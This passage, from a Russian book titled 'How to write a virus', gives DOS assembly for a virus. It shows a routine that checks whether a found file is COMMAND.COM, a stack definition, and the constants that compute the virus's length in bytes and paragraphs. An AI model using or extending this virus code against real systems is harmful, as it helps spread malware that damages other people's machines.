"Игорь Коваль. Как написать вирус" - читать интересную книгу автора

newstack dw 70 dup ( 0 ) ;Новый стек ...


2.23 Процедура идентификации COMMAND.COM

Приведем текст процедуры, которой пользуется наш
вирус. Эта процедура проверяет,является - ли най-
денный нами файл командным процессором COMMAND.COM
и возвращает INSIDE = 1, если был найден именно
командный процессор .
Итак :

;-------------------------------------------------

search proc ;Процедура
push ax ;сравнивает
push cx ;строки ...
mov inside,1
lea di,fn
lea si,com_com
mov cx,7
new_cmp: mov al,byte ptr ds:[si]
cmp byte ptr ds:[di],al
jne cs:not_equal
inc di
inc si
loop cs:new_cmp
jmp cs:to_ret
not_equal: mov inside,0
to_ret: pop cx
pop ax
ret
search endp

Работа процедуры достаточно ясна и в комментариях
не нуждается .


2.24 Завершаем программу

В принципе, завершить эту программу можно так же,
как и предыдущую :

db '1' ;Последний байт
;вируса в файле
vir_len equ $-vir ;Длина вируса в
;байтах ...
vir_par equ ( $-vir + 0fh ) / 16
;И в параграфах